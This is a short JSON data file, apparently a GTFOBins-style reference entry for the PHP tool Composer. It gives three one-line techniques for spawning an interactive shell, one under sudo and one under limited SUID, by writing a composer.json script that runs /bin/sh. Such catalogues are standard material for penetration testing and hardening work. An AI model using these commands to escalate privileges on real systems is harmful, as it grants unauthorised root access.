You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
20 lines
619 B
JSON
20 lines
619 B
JSON
4 years ago
|
{
|
||
|
"functions": {
|
||
|
"shell": [
|
||
|
{
|
||
|
"code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\ncomposer --working-dir=$TF run-script x\n"
|
||
|
}
|
||
|
],
|
||
|
"limited-suid": [
|
||
|
{
|
||
|
"code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\n./composer --working-dir=$TF run-script x\n"
|
||
|
}
|
||
|
],
|
||
|
"sudo": [
|
||
|
{
|
||
|
"code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\nsudo composer --working-dir=$TF run-script x\n"
|
||
|
}
|
||
|
]
|
||
|
}
|
||
|
}
|